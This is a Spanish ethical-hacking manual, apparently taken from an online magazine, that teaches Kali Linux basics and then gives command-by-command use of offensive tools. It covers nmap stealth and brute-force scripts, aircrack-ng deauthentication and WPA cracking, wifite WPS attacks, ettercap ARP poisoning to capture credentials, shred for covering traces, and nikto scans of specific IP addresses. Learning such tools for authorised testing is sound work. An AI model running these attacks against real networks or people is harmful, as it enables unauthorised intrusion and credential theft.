21.05.2022 Visualizaciones

Road To Hacking

Road To Hacking es una revista o mejor dicho, un manual para todo aquel apasionado/a por el Hacking Ético y quiera adentrarse a este mundo. La idea de RTH fue centrarse en las herramientas más utilizadas para un examen de Pentesting u auditoría con ejemplos de ataques más comunes en la actualidad. Es necesario contar con básicos conocimientos de Linux (moverse por la terminal) para exprimir al máximo esta información, recuerda que todo depende de ti en profundizar y nunca quedarse estancado con la primera información que encuentren. Utilizar herramientas creadas por otros no te hace un script kiddie. Utilizar herramientas creadas por otros con fines dañinos o alardear frente a personas que carecen de conocimientos de este tema, te hace script kiddie.

Road To Hacking es una revista o mejor dicho, un manual para todo aquel apasionado/a por el Hacking Ético y quiera adentrarse a este mundo. La idea de RTH fue centrarse en las herramientas más utilizadas para un examen de Pentesting u auditoría con ejemplos de ataques más comunes en la actualidad. Es necesario contar con básicos conocimientos de Linux (moverse por la terminal) para exprimir al máximo esta información, recuerda que todo depende de ti en profundizar y nunca quedarse estancado con la primera información que encuentren.

Utilizar herramientas creadas por otros no te hace un script kiddie. Utilizar herramientas creadas por otros con fines dañinos o alardear frente a personas que carecen de conocimientos de este tema, te hace script kiddie.

SHOW MORE
SHOW LESS

¡Convierta sus PDFs en revista en línea y aumente sus ingresos!

Optimice sus revistas en línea para SEO, use backlinks potentes y contenido multimedia para aumentar su visibilidad y ventas.


KALI

LINUX

- Introducción a Kali Linux

• Características

- Instalación en máquina virtual

• VMware Workstation 16 Player

- La terminal de Linux

• Comandos básicos

- Herramientas


Introducción a Kali Linux

Kali Linux es una distribución basada en Debian

GNU/Linux para pruebas de penetración y auditorías de

seguridad, de tal manera que la convierte en una de las

más avanzadas y poderosas en el mundo del Hacking

Ético. Fue fundada y es mantenida por Offensive

Security Ltd. Kali es una re-construcción de BackTrack,

en los últimos años ha sido mejorada agregando nuevas

actualizaciones, mejorando el soporte, arreglando y

eliminando paquetes saturados, como también ampliando

la cantidad de aplicaciones disponibles.

Kali se volvió un éxito entre los usuarios que se

dedican a esta actividad, por la única razón de su gran

potencial. La principal atracción fue el soporte para

la arquitectura ARM ofrecida por el propio Kali Linux,

a su vez se fue extendiendo soporte a i386 y AMD64. Con

solo 2GB de RAM y mínimo 20GB de almacenamiento puedes

correrlo sin problemas, se pide más para futuras

actualizaciones.

Contiene más de 300 herramientas preinstaladas y se

adaptan a numerosos trabajos, debemos recalcar que a

comparación a otras distribuciones, Kali tiene su

complejidad si se carece de conocimientos de está, de

modo que se recomienda empezar por una distribución más

sencilla de utilizar como lo es Ubuntu o Linux Mint.

Kali Linux no solo se encuentra para PC, sino también

para dispositivos móviles (Kali NetHunter), es preciso

ser root en Android y contar con un dispositivo que

cumpla los requisitos necesarios para su instalación.


Características

Herramientas: Kali Linux proporciona a sus usuarios más de

300 herramientas de pruebas de penetración, entre las

más destacadas: Nmap (escáner de redes), Aircrack-ng

(kit-tolos de hacking para redes inalámbricas),

EtterCap (ataques MITM), Wireshark (analizador de red),

Metasploit (explotación de vulnerabilidades en

equipos), John the Ripper (romper contraseñas por

fuerza bruta), algunas de ellas serán nombradas más

adelante.

Árbol de código abierto: Kali está comprometido con el

desarrollo de código abierto y está disponible para que

todos lo vean y desean modificar-reconstruir paquetes.

Gratuito: Es una distro totalmente gratis y siempre lo

será.

Compatibilidad con varios idiomas: Kali Linux tiene incluido un

soporte multilingüe, permitiendo que los usuarios escojan

su idioma nativo.

Soporte para ARM: Proporciona actualizaciones para

arquitecturas ARM, armel, armhf, y arm64.

Personalizable: Kali Linux ha sido especialmente diseñado

para todo aquel que desee personalizarlo a sus

necesidades, incluyendo el núcleo.

Amplio rango de dispositivos inalámbricos: Su construcción tiene

el objetivo de llegar al mayor soporte posible de

dispositivos inalámbricos, variedad de hardware y

compatibilidad con distintos USB.


Instalación de Kali Linux (VMWARE)

Antes de comenzar con la instalación, debemos de elegir

un software de virtualización para ejecutar nuestra

máquina virtual, en mi caso escogeré VMware (versión

16), el procedimiento también se puede realizar con

VirtualBox.

Sitio oficial de VMware

https://www.vmware.com

Sitio oficial de VirtualBox

https://www.virtualbox.org

Proseguimos a descargar la imagen (ISO) de Kali Linux

desde su sitio oficial.

Descargar Kali Linux 2020

https://www.kali.org/downloads/

Dependiendo de la arquitectura de su procesador (64

bits – 32 bits), seleccionan la adecuada.

La versión “Live” es menos pesada y

esta aplicada para instalar Kali

Linux en un USB booteable sin la

necesidad de tener disco duro, pero

teniendo en cuenta que sus programas

serán más limitados, cualquier cambio

que realices se perderá si no lo

haces persistente. Una de sus

ventajas es que puedes ejecutarlo

desde cualquier computadora (según la

arquitectura) y llevar a cabo las

operaciones. Para crear sistemas de

arranque Live USB te recomiendo

Rufus, LinuxLive USB Creator o

Win32DiskImager.


El primer paso es acceder a VMware y crear nuestra

máquina virtual, para ello le damos a "Create a New

Virtual Machine" y agregaremos la imagen ISO que hemos

descargado.

Seleccionan el tipo de sistema “Linux” y en versión

"Debian".

Daremos clic en "Next" y luego en "Customize Hardware",

este campo nos permite modificar los valores, esto ya

depende de tu máquina física.


Si desean modificar el disco duro, bastaría con darle

clic derecho y a “Setting”. Una vez hecho lo anterior,

encendemos Kali Linux haciendo doble clic en ella y

escogeremos la opción de “Graphical install”.

Seleccionan el idioma y la zona horaria.

Indicamos el nombre de la máquina, luego del dominio,

asignamos un nombre para el nuevo usuario y creamos una

contraseña de administrador (modo root).


Utilizaremos todo el disco.

Si es tu primera vez, te recomiendo "Todos los ficheros

en una partición", aunque si lo deseamos podemos

preferir que el sistema realice tres particiones (home,

/var y /tmp) para instalar.

Muy importante grabar los cambios en los discos.

Se puede customizar el entorno de escritorio, al

seleccionar todo, el tiempo de instalación será mayor,

esto es opcional.

Comenzará a instalarse los respectivos paquetes, la

duración depende de la velocidad del internet.


Nos solicita en que parte del dispositivo pretendemos

instalar el GRUB para que pueda arrancar.

¡Kali Linux instalado con éxito!


Terminal de Linux (COMANDOS)

Al trabajar en "modo consola", "mediante líneas de

comandos", estamos dando instrucciones al sistema para

que realice una acción en formato texto. Lo primero que

haremos es conocer los comandos básicos que existen y

cual es su función en el sistema.

_ Empezaremos por el comando "su" y "sudo", es muy

relevante a la hora de ejecutar un programa.

El comando: "su" nos permite utilizar el intérprete de

comandos (shell) para cambiar de un usuario a otro sin

la necesidad de cerrar la sesión actual. Mientras que

el comando: "sudo" permite a los usuarios ejecutar un

programa pero con privilegios de administrador (root),

debemos estar conscientes de cuando usarlo.

_ Anteriormente he dicho que "su" nos permite cambiar a

otro usuario, al instalar Kali solo tenemos un usuario

(en mi caso "whoami"). El comando: "adduser/useradd"

permite añadir un nuevo usuario al sistema con las

opciones por defecto, de acuerdo a la configuración en

/etc/adduser.conf. Para crear un grupo utilizamos:

"addgroup", y "groupdel" para eliminarlo.


_ Para cambiar de directorio usamos: "cd", si deseamos

volver hacia atrás: "cd .. ".

_ Con: "ls" podemos ver los archivos y directorios que

tenemos dentro del directorio posicionado y con "ls –l"

podemos ver permisos del directorio, fecha y hora.

_ Crear carpeta/directorio con: "mkdir nombre".

_ Eliminar carpeta: "rmdir nombre", con: "rm –rf nombre"

lo hacemos junto a su contenido dentro, "rm –f nombre"

es para eliminar un fichero.

_ Renombrar o mover fichero/carpeta: "mv nombre

new_nombre".

_ Para tener una información precisa sobre quién ha

iniciado sesión en el sistema: "who"

_ El comando: "w" muestra información más detallada,

cuánto tiempo lleva el sistema activo, y la cantidad de

usuarios conectados.

_ Cambiar la propiedad de los archivos y directorios:

"chown user fichero/directorio".

_ Cambiar los permisos de archivos y directorios: "chmod

xxx xxx".

Ej: chmod –R install.txt

"-R" asigna todos

los permisos.

_ Reiniciar la máquina: "reboot" y apagar: "poweroff".

_ Descomprimir archivos ".tar.gz": "tar -xzvf

archivo.tar.gz".

_ Descomprimir archivos ".rar": "unrar x archivo.rar".

Descargar unrar: sudo apt-get install unrar

_ Descomprimir archivos ".tar": "tar xvf archivo.tar".


_ Descomprimir archivos ".zip": "unzip archivo.zip".

_ Comprimir archivos ".zip": "zip archivo.zip".

_ Comprimir archivos "rar": "rar –a archivo.rar

*ficheros*".

Descargar rar: sudo apt-get install rar

_ Comprimir archivos ".tar": "tar -cvf archivo.tar

/home/archivo/".

_ Comprimir archivos ".tar.gz": "tar -czvf

archivo.tar.gz /home/archivo/".

_ Mostrar estado del sistema y procesos ejecutándose

(CPU): "top".

_ Actualizar paquetes: "apt-get update".

_ Desplegar interfaces de red: "ifconfig".

_ Información sobre la red inalámbrica: "iwconfig".

_ Cerrar un programa a la fuerza: "kill".

_ Diagnosticar estado de una conexión: "ping

google.com".

_ Descargar archivos de internet: "wget

https://ejemplo.com/archivo.zip".

_ Escribir texto en la ventana de la terminal: "echo

Hola, soy Raúl".

_ Mostrar lista de las particiones montadas: "df –h".

_ Instalar/actualizar un paquete deb: "dpkg –i

paquete.deb".

_ Eliminar un paquete deb del sistema: "dpkg –r

paquete.deb".

_ Limpiar cache: "apt-get clean".

_ Limpiar la pantalla de la terminal: "clear".

_ Memoria utilizada y disponible en el sistema: "free".

_ Localizar archivos: "find /home/whoami –name

‘archivo.txt’".


_ Fdisk es una herramienta que nos permite realizar

diferentes acciones en el disco duro. Podremos crear,

eliminar, mover y redimensionar particiones.

fdisk -l

fdisk /dev/sda

Ver todas las particiones

Crear una nueva partición

Una vez dentro, debemos de pulsar

la “m” para poder visualizar las

distintas opciones que nos

ofrece. Para crear una nueva

partición debemos de pulsar la

"n", luego seleccionan el tipo de

partición (extendida o primaria),

lo mismo hacen con el tamaño,

pueden optar por dejarlo por

defecto.

sudo partprobe

mkfs.ext4 /dev/sda4

sudo mount /dev/sda4

sudo umount /dev/sda4

Releer las particiones en

el disco.

Formatear partición.

Montar partición.

Desmontar partición.

Para eliminar una partición debemos acceder

nuevamente a "fdisk /dev/sda", pulsamos la

letra "d" y escribimos el número de la

partición.


SHRED - AntiForense

La herramienta shred es conocida por su alta capacidad

de destrucción de archivos, siendo difícil la

recuperación de la misma por técnicas de informática

forense. Su funcionalidad es sobrescribir cuantas veces

sea posible un archivo o dato con infinidades de

patrones de texto, convirtiendo el original por otro

completamente distinto.

Comandos

El siguiente comando muestra el manual completo de la

herramienta:

man shred

Sobrescribir un archivo con caracteres aleatorios:

shred "nombre-del-archivo"

El ejemplo anterior no se utilizaron parámetros especiales,

ya de por si se encarga de añadir caracteres por defecto

(25). Si quisiéramos eliminar el fichero, es tan simple con

usar el siguiente parámetro:

shred -u "nombre-del-archivo"


El parámetro “-n” se utiliza para sobrescribir el archivo

cuantas veces le indiquemos, incluyendo todo el contenido

del disco o partición:

shred -n 10 "nombre-del-archivo"

shred -n 50 "disco"

Activar el verbose permitirá mostrar detalladamente el

proceso por detrás:

shred -v -n 10 "nombre-del-archivo"

Con “-z” indicamos la última pasada escribiendo todos ceros

(0) para ocultar el borrado seguro de datos y no dejar

rastros:

shred -n 10 -u -v -z "nombre-del-archivo"


El parámetro “-f” se utiliza para cambiar los permisos del

fichero, en caso de ser necesario, para permitir escritura.

En cuyo caso de que solo quisiéramos sobrescribir algunos

bytes en especifico, utilizar "–s":

shred -s 10 "nombre-del-archivo"


Herramientas

Como mencione anteriormente, Kali contiene una gran

variedad de herramientas que ya vienen implementadas

por defecto, algunas son más utilizadas que otras

dependiendo de las necesidades de uno, es por eso que

hablaré sobre ellas y su funcionamiento.

Nmap (Network Mapper) es una herramienta gratis y de

código abierto diseñada para realizar auditorías de red

en busca de puertos abiertos, servicios que corren en

él y explotación de los mismos, sistemas operativos y

su versión, tipo de firewall utilizando y detectar

vulnerabilidades.

Guía básica

NMAP

Comenzaremos realizando un escaneo básico a un

determinado host (IP o URL):

El escaneo nos muestra que hay 996 puertos

filtrados, 3 abiertos (80, 554, 8000) y 1

cerrado (443), también los servicios

corriendo de cada uno.


Tenemos la posibilidad de escanear varias máquinas a

la vez:

Máquina-1

Máquina-2

Escanear red o subred por completo “/24”:

sP (Sondeo Ping): esta técnica se utiliza para

detectar equipos activos dentro de la red:

nmap -sP "dirección IP"


TCP Syn: con la opción “-sS” podemos realizar un

escaneo sigiloso sin dejar registros en la máquina

objetivo, a su vez, permite saltarse reglas

establecidas por el cortafuegos. Si recibe una

respuesta de tipo SYN/ACK indica que el puerto está en

escucha (abierto), si la respuesta es RST(Reset)

indica que no hay nada escuchando en el puerto.

nmap -sS "dirección IP"

Sondeo TCP Connect: permite realizar el mismo sondeo

que Syn, la llamada de Connect puede dejar registros

de nuestra actividad en la máquina objetivo, de tal

manera que no es muy recomendable. Encuentra el equipo

activo y sus puertos disponibles.

nmap -sT "dirección IP"


Sondeo UDP: este tipo de sondeo envía mensajes sin

datos al protocolo UDP en busca de servicios

vulnerables, si lo comparamos con TCP es más lento y

difícil, puede combinarse con el sondeo tipo Syn. Si

se obtiene un error ICMP

indica que el puerto no es alcanzable.

nmap -sU "dirección IP"

Sondeo FIN, Null y Xmas: este tipo de escaneos es útil

para saltar cortafuegos sin estado y filtrado de

paquetes. Si se recibe un paquete RST indica que el

puerto está cerrado, si esta abierto no dará ninguna

respuesta.

- Escaneo FIN(sF): lleva la bandera TCP FIN.

- Escaneo Null(sN): no se fija ningún bit o bandera.

- Escaneo Xmas(sX): se envían banderas FIN, PSH, URG.

nmap -sN "dirección IP"

nmap -sF "dirección IP"

nmap -sX "dirección IP"


Sondeo TCP ACK: este escaneo no revelara si los

puertos están abiertos, el objetivo es detectar el

tipo de firewall que tenemos enfrente. ACK prueba

paquetes con la bandera ACK activa, si el puerto

devuelve un paquete RST, es alcanzable:

nmap -n -v -sA "dirección IP"

"-n" esquivar resolución DNS

"-v" recibir una respuesta más

destallada, "-vv" aumenta aún

más

Sondeo de protocolo IP: muestra el tipo de sistema

operativo de la víctima:

nmap -O "IP/URL"


Cambiar MAC: falsificar dirección MAC para ocultar las

sondas de Nmap:

nmap --spoof-mac "MAC" "IP"

Dato: si argumentamos una

dirección MAC “0” generará

una dirección MAC aleatoria

Obtener dirección IP y MAC de los equipos en la red:

nmap -sn "IP/24"

SCRIPTS PARA ESCANEAR VULNERABILIDADES

Script Safe: obtener información detallada de la

dirección IP del router, nombre del dominio de red, etc.


nmap --script safe "IP/URL"

Script Default: ejecuta los scripts por defecto, depende

de la velocidad, privacidad, intrusión y confiabilidad.

nmap --script default "IP/URL"

El puerto 22 de SSH nos brinda la llave

(key) de su conexión

Script Vuln: brinda información sobre alguna

vulnerabilidad que está expuesta el equipo.

El puerto 80 presenta

una vulnerabilidad de

DoS (Denegación de

Servicio)

nmap --script vuln "IP/URL"


Script All: ejecuta todos los scripts disponibles, puede

generar registros en el sistema.

nmap --script all "IP/URL"

Script Auth: verifica si existen usuarios con

contraseñas vacías o por defecto, autenticación SSH,

hashes, inicio de sesión predeterminadas, omisión de

inicio de sesión VNC.

En mi caso no tuve alguna

respuesta positiva. Generalmente

el puerto "3306" suele ofrecer

una lista de usuarios MySQL

cuando éste es vulnerado

nmap --script auth "IP/URL"


Script HTTP-Enum: enumera todos los directorios y

archivos alojados en servidores y aplicaciones web.

nmap –script=http-enum "IP/URL"

Script FTP-Brute: realiza auditorías de contraseñas de

fuerza bruta contra el protocolo FTP.

nmap –script=ftp-brute -p 21 "IP"

Este script va acompañado de argumentos. Con el script

de "args" le indicamos que atributos va a utilizar para

el ataque. Por ejemplo, en caso de querer elegir un

diccionario para los usuarios y contraseñas:

nmap --script=ftp-brute --script-args userdb= "users.txt",passdb= "pass.txt" -p 21 "IP"

Ruta del diccionario de usuarios

Ruta del diccionario de contraseñas

ARGUMENTOS:

• ftp-brute.timeout: cantidad de tiempo para esperar una

respuesta en el socket (predeterminado: 5s).


• brute.delay: cantidad de segundos de espera.

• brute.retries: cantidad de veces a reintentar si

ocurren fallas recuperables (predeterminado: 2).

• brute.delay: cantidad de segundos de espera.

• brute.start: número de subprocesos con los que

arrancará el motor (predeterminado: 5).

• brute.userpass: adivina el nombre de usuario como

contraseña para cada usuario (predeterminado: true).

• brute.guesses: números de intentos para cada cuenta

(predeterminado: 0 / ilimitado).

• brute.credfile: genera un fichero con usuarios y

contraseñas obtenidas delimitadas por "/“.

Script SSH-Brute: realiza auditorías de contraseñas de

fuerza bruta contra el protocolo SSH.

nmap –script=ssh-brute -p 22 "IP"

Al igual que el script FTP, también puede ser acompañado

con argumentos:

nmap --script=ssh-brute --script-args userdb= "users.txt",passdb= "pass.txt" -p 22 "IP"


Script DNS-Brute: enumera todos los nombres de host DNS

mediante fuerza bruta de subdominios comunes.

nmap –script=dns-brute "IP/URL"

La enumeración de DNS se utiliza

con el fin de obtener la mayor

cantidad de información posible,

sobre los diferentes tipos de

registros que se almacenan en la

información de zonas de un

servidor DNS. Los DNS se pueden

envenenar y redirigir al usuario

a un sitio fraudulento.

Script Firewall-Bypass: detecta vulnerabilidades en

firewalls utilizando "helpers", ya sea IPv4 o IPv6, para

abrir puertos en protocolos FTP o SIP. El script

falsifica paquetes que son enviados desde un servidor

destino, solicitando abrir una conexión desde un puerto

específico, mismo que será realizado desde el firewall a

través del puerto auxiliar del protocolo.

nmap -n -Pn -v --script firewall-bypass --script-args firewall-bypass.helper= "ftp",firewall-bypass.target=22 "IP/URL"

De ser exitoso, se presentará

un mensaje de "Firewall

vulnerable a evasión mediante

un ayudante FTP"


ARGUMENTOS:

• firewall-bypass.helper: es el ayudante a utilizar, su

valor predeterminado es FTP.

• firewall-bypass.target-port: puerto sobre el cual

evaluar la vulnerabilidad. En caso de no definirlo, el

script intentara buscar un puerto abierto o filtrado

durante el lescaneo.

• firewall-bypass.helperport: si no se utiliza el puerto

por defecto del ayudante.

Script HTTP-WordPress-Brute: realiza una auditoría de

contraseñas mediante fuerza bruta contra usuarios y

contraseñas de cuentas WordPress.

nmap -sV --script http-wordpress-brute --script-args userdb='users.txt',passdb='pass.txt’ "IP/URL"

Script HTTP-WordPress-Enum: enumera todos los temas y

complementos en las instalaciones de WordPress. El

script es capaz de encontrar complementos antiguos y

enumerar la versión de cada uno.

nmap --script http-wordpress-enum --script-args type="plugins" "IP/URL"

Enumerar todos los plugins


PLUGINS

TEMAS

--script-args type="themes"

ARGUMENTOS:

• http-wordpress-enum.type: tipo búsqueda (temas,

plugins, todo (all)).

• http-wordpress-enum.search-limit: número de resultado

a mostrar en caso de elegir "all" (predeterminado:

100).

• smbdomain: dominio con el que inicia sesión.

• smbusername: nombre de usuario de SMB para iniciar

sesión.

• smbpassword: contraseña para conectarse al SMB.

• http.useragent: especificar encabezado al enviar

solicitudes (predeterminado: Morzilla/5.0).

Script HTTP-WAF-Detect: detecta si un servidor web está

protegido con IPS (Sistema de prevención de

intrusiones), IDS (Sistema de detección de intrusiones)

o WAF (Cortafuego de aplicaciones web) sondeando el

servidor web con cargas maliciosas y detectando cambios

del código de respuesta.

nmap -p 80,443 --script=http-waf-detect "IP/URL"


Script FTP-vsFTPd-Backdoor: prueba la presencia de una

puerta trasera vsFTPd del puerto 21. Este tipo de

vulnerabilidad es una de las más explotadas en el que

devuelve una shell interactiva al atacante.

nmap --script=ftp-vsftpd-backdoor -p 21 "IP/URL"

Nmap también nos devuelve en el informe el código

del exploit y otras referencias

ARGUMENTOS:

• ftp-vsftpd-backdoor.cmd: se utiliza para ejecutar una

Shell (predeterminado: id).

• vulns.short: en caso de que sea vulnerable, se

mostrará en formado corto, en una sola línea que

muestre la dirección IP, el estado y el ID de CVE.


Script SMB-Vuln-MS17-010: prueba la presencia de la

vulnerabilidad de EternalBlue en un servidor Microsoft

SMBv1, misma que será explotada más adelante con

Metasploit.

nmap --script smb-vuln-ms17-010 -p 445 "IP"

ARGUMENTOS:

• smb-vuln-ms17-010.sharename: compartir nombre para

conectarse (predeterminado: IPC$).

• smbdomain: especificar dominio con el que iniciar

sesión.

• smbnoguest: deshabilitar la cuenta de "invitado".

• smbpassword: contraseña para conectarse al servidor.

Al ingresar varias contraseñas simultáneamente puede

provocar que el servidor bloqueé la cuenta.

• smbusername: nombre de usuario para iniciar sesión al

servidor SMB.

• smbport: especificar el puerto SMB, se supone que si

está abierto utiliza el puerto 445.


AIRCRACK-NG

Aircrack-ng es una suite de seguridad inalámbrica que

nos permite realizar diferentes ataques para crackear

claves WEP y WPA/WPA2-PSK. Aplica varias técnicas de

ataques para descifrar claves WEP: FMS (Fluhrer,

Mantin, Shamir), Korek ChopChop.

Para crackear claves WPA/WPA2-PSK se utiliza la

combinación de contraseñas a través de fuerza bruta,

también es aplicada a WEP, es necesario usar un

diccionario para este método. Está técnica no solo se

utiliza para WiFi, también para obtener credenciales de

redes sociales. Con el paso de los años se ha dejado de

utilizar por el simple hecho del tipo de cifrado que

contenga la password, el tiempo que requiere, sistema

de alerta de intrusión (Facebook, Instagram, Twitter,

etc), otros nuevos métodos (Phishing).

Lista de herramientas que contiene Aircrack-ng:

• airbase-ng

• aircrack-ng

• airdecap-ng

• airdecloak-ng

• airdriver-ng

• aireplay-ng

• airmon-ng

• airodump-ng

• airolib-ng

• airserv-ng

• airtun-ng

• easside-ng

• packetforge-ng

• tkiptun-ng

• wesside-ng

• airdecloak-ng

Entre las más utilizadas:

Aircrack-ng: descifrar contraseñas.

Aireplay-ng: generar tráfico, ataque de

desautenticación.

Airodump-ng: capturar paquetes.

Airmon-ng: convertir nuestra tarjeta

inalámbrica en modo monitor.


Antes de seguir con el procedimiento, es necesario

contar con un adaptador/tarjeta de red compatible con

kali linux, de esta forma conseguiremos que nos

reconozca las redes inalámbricas de nuestro alrededor,

dado que la máquina virtual solo reconoce conexión

cableada por parte de la máquina física.

Tenda TP-Link Alfa

Cracking WPA/WPA2-PSK | Fuerza Bruta

Debemos comprobar nuestro adaptador:

airmon-ng

Una vez detectado, agregamos la tarjeta en modo

monitor:

airmon-ng start wlan0

Matar procesos que pueden causar problemas:

airmon-ng check kill


Capturar los datos de la red objetivo:

airodump-ng *interfaz*

airodump-ng wlan0mon

Luego de identificar la red, presionan CTRL + C. A

continuación, comenzaremos a capturar los paquetes.

Anotamos los siguientes datos de la red:

airodump-ng -c 7 --bssid "XX:XX:XX:XX:XX:XX" --write "nombre" "Interfaz"

IMPORTANTE

No cierren esta terminal.


A continuación, iniciaremos un ataque desautenticación

para expulsar a los clientes de la red, nos permitirá

recoger el handshake y facilitar dicho ataque:

aireplay-ng -0 15 -a XX:XX:XX:XX:XX:XX -e "nombre" "Interfaz"

Cantidad de paquetes a

enviar, con 1 se envían

continuamente, provocando

un Dos (Denegación de

Servicio) a la conexión

Volveremos a la terminal anterior y observaremos el

handshake capturado, pulsamos CTRL + C:

El último paso es descifrar la contraseña por fuerza

bruta:

aircrack-ng Reliant-01.cap –w wordlist.txt

Nombre del archivo generado

con airodump-ng

Nombre de nuestro diccionario

Contraseña encontrada ¡KEY FOUND!

El tiempo que requiere en encontrar la

contraseña dependerá de que tan

compleja sea, lo ideal es tener un

diccionario extenso en el cual podamos

combinar diferentes palabras para dar

con la misma.


WIFITE

Wifite es un script completo creado en Python para

auditar redes inalámbricas. Utiliza una gran variedad

de métodos conocidos para recuperar una contraseña de

acceso inalámbrico.

Métodos:

• WPS: Ataque sin conexión Pixie-Dust.

• WPS: Ataque de PIN de fuerza bruta en línea.

• WPA: El WPA Handshake Capture + crack sin conexión.

• WPA: El WPA Handshake Capture + crack sin conexión.

• WEP: Diferentes ataques conocidos contra WEP, incluyendo

fragmentación, chop-chop, aireplay, etc.

Antes de iniciar la herramienta debemos colocar la

tarjeta en modo monitor:

Iniciamos el script:

airmon-ng start wlan0

sudo wifite

Se desplegará una lista de redes cercanas, por un lado nos

muestra el alcance (poder de conexión), verifica si tiene el

WPS activado y los clientes conectados. Seleccionamos la red

objetivo que deseamos atacar.


¡WPS cracked!

Advertencia

El WPS activado puede implicar una vulnerabilidad

grave para nuestra red inalámbrica, se aconseja que

se desactive. Su función es facilitar una conexión

para otros usuarios de confianza a través del

método PIN, éste requiere de 8 dígitos en lugar de

la contraseña completa.

Para desactivar el WPS nos dirigimos a la configuración

de nuestro módem/router y lo hacemos desde allí, no

todos son iguales.

Se ingresa a través

de nuestra dirección

IP Local (192.168.1.1)

desde el navegador


CRUNCH

Crunch es una herramienta para generar una lista de

palabras (diccionarios / wordlist) para ser usado en

fuerza bruta. Es capaz de generar diccionarios con

distintos parámetros, admite números, símbolos,

mayúsculas y minúsculas. Realiza todas las

combinaciones que estén a su alcance tomando la palabra

clave.

Normalmente, crunch ya viene instalado en Kali,

pero si pretenden instalarlo en otra distro:

sudo apt-get install crunch

Comandos básicos

Generar un diccionario que contenga palabras con una

longitud mínima y máxima:

crunch 2 5

Longitud mínima

Longitud máxima

Generar una lista de palabras que solo contenga letras:

crunch 2 6 abcdefghij


Crear una lista de palabras que contenga solo números:

crunch 2 7 1234567890

Especificar la ubicación para guardar el diccionario:

cd "Directorio"

crunch 2 6 abcdef098 -o wordlist.txt

Nombre del diccionario

Supongamos que la víctima utilizó un nombre u otro

carácter al final o inicio de una contraseña, podríamos

generar todas las posibilidades de contraseñas para dar

con ella.

crunch 9 9 -t @@@@linux -o dic.txt

"-t" => permite especificar un patrón

"@" => incluir caracteres en minúsculas

"," => incluir caracteres en mayúsculas

"%" => incluir números

"^" => incluir símbolos


Crear una lista de palabras utilizando el archivo

charset.lst, contiene un grupo de caracteres para

generar una lista más compleja:

Directorio: /usr/share/crunch/

cat: Expresar la lista almacenada en

charset.lst

Algunas de ellas:

• Numeric

• Ualpha

• Ualpha-numeric

• Symbols14

• Lalpha-sv

• Mixalpha

• Mixalpha-numeric

Ej: generar un diccionario que contenga letras de

alfabeto inferior junto con un patrón numérico:

crunch 2 5 -f /usr/share/crunch/charset.lst lalpha-numeric -o diccionario.txt

-f: Específica el juego de

caracteres

Generar una lista de palabras con una serie de una o

varias palabras:

crunch 3 7 -p hacking is art

“-p”: Generar palabras que no contengan

caracteres repetidos


-i: Invertir la salida (output) de la lista:

crunch 1 3 abcdef -i -o wordlist.txt

Crear un diccionario comprimido [gzip, bzip2, lzma, y 7z]:

crunch 8 8 abcdefgh -z bzip2 -o wordlist.txt

Ejecutar manual de crunch: "man crunch".


ETTERCAP

Ettercap es una herramienta potente y muy usada para

realizar ataques MITM contra una red, manipular el

tráfico HTPP, HTTPS y SHH. El objetivo es auditar la

seguridad de la red/host en busca de conexiones

activas, filtraciones de contraseñas u otros datos

relevantes para el atacante.

¿Qué es un ataque MITM?

Un ataque de hombre en medio (abreviado MITM) es un

método sigiloso donde el atacante interviene el tráfico

de datos que viajan en la red, es aprovechada por los

ciberdelincuentes para obtener credenciales de redes

sociales, cuentas bancarias, emails, registrar sitios

visitados, entre otras.

La víctima intenta crear una conexión codificada con el

servidor web pero, el atacante intercepta la conexión y

la desvía, realmente lo que hace la víctima es enviar

los datos primero al atacante y este se lo envía al

servidor web, desencripta los datos y hace con ellos lo

que quiera antes de que lleguen.


Abrimos ettercap desde el menú o en la terminal

"ettercap -G", seleccionamos la interfaz conectada a la

red y después le damos “Aceptar”.

Luego, vamos a Menú > Host > Scan host > Hosts list

Dentro se encuentra las direcciones IP y MAC de los

equipos (incluyendo el router) activos de la red,

seleccionamos la IP del equipo a atacar y pulsamos “Add

to Target 1”, después el router “Add to Target 2”.


Una vez que ya tenemos los objetivos marcados, debemos

de aplicar el envenenamiento del protocolo ARP para que

la víctima me mande el tráfico primero a mí.

Menú MITM > ARP poisoning

Marcamos la opción “Sniff remote

connections” y damos aplicar.

Le damos a "Start sniffing" y lo dejamos esnifando el

tráfico.

RESULTADO

En pantalla se muestra las credenciales obtenidas, en

el caso de HTTPS tendríamos que hacer uso de SSLstrip

para engañar al servidor y el tráfico HTTPS

convertirlo en HTTP.


NIKTO

Nikto es un escáner de vulnerabilidades de servidores

web, realiza un escaneo completo en busca de archivos y

directorios peligrosos. Soporta SSL, LibWhisker IDS y

una configuración de proxy para hacerlo bajo anonimato.

Permite guardar la información detallada en una

variedad de formatos HTML, CSV, XML, NBE y registros

para Metasploits.

Iniciar nikto y mostrar las opciones que ofrece:

nikto -Help

Realizar un escaneo básico:

nikto -h "URL/IP" -p "PORT"

Opción “-h” indica la

dirección IP o nombre

del host a escanear.

Opción “-p” indica el

número de puerto donde

se aloja el servidor

web. El protocolo HTTP

utiliza el puerto 80 y

el HTTPS 443.

El host está opuesto a un ataque de Cross-Site Tracing (XST) por

el hecho de tener el método TRACE activado. Esté es aprovechado

para robar credenciales de usuarios legítimos por medio de

peticiones que hagamos en el protocolo http.


Nikto por defecto prueba HTTP normal y sigue con HTTPS,

si el servidor es SSL, especificar con -ssl.

nikto -h 200.0.183.169 -p 443 -ssl

La cabecera Content-Encoding está configurado para “desinflar”,

el servidor podrá enviar archivos solicitados al cliente

comprimidos o no. Es vulnerable al ataque BREACH, consiste en

realizar peticiones al sitio atacado y recibir una respuesta

https (direcciones de correos electrónicos, IDS de usuarios y

tokens de autenticación).

Escanear varios puertos a la vez, ejecutamos nmap para

descubrir los que están corriendo en él.

A continuación, probamos más de un puerto en el mismo

host:

nikto -h 186.104.43.152 -p 80,443


Los archivos robots.txt son un mecanismo para evitar que ciertos

bots sobrecarguen el sitio web y obtengan información de la misma

Transmitir todas las conexiones a través del proxy

HTTP.

Especificar el archivo de configuración:

nikto -h 186.104.43.152 -p 80 -useproxy

nikto -h http://186.104.40.64 -useproxy http://127.0.0.1:8080/


Guardar información del escaneo en un documento de

texto:

nikto -h 186.104.43.152 -p 80 -o resultado.txt

Obtener información de reportes en formato HTML:

nikto -h 186.104.43.152 -p 80 -o html

Deshabilitar las búsquedas de DNS para no dejar

evidencia de la petición, es importante especificar la

dirección IP y no el nombre del dominio.

nikto -h 186.104.43.152 -nolookup


Especificar el tiempo de segundos que Nikto esperará

luego de una petición:

nikto -h 186.104.43.152 -timeout 5

Lista de plugins disponibles:

nikto -list-plugins

Ejemplo:

